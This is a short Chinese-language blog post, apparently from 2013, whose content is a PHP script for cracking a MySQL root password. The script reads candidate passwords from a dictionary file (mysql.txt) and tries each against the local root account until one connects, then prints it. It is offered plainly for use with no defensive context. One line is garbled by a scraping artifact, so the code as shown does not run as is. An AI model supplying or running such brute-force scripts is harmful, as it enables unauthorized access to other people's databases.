MENU

破解mysql的root密码的php脚本

June 27, 2013 • phpcode

<?
set_time_limit(0);
$passwd=file("mysql.txt");
$strings=count($passwd);
for($i=0; $i<$strings; $i++){
$pass=$passwd[$i];
connect($pass);
}
echo "<br>扫描结束<br>";

function connect($pass)
{
[email protected]_connect("localhost","root",$pass);
if($conn){echo "<br>得到root密码:$pass<br>";exit();
}else{echo "|";}
}
?>

mysql.txt为你自己的字典文件.

Archives QR Code
QR Code for this page
Tipping QR Code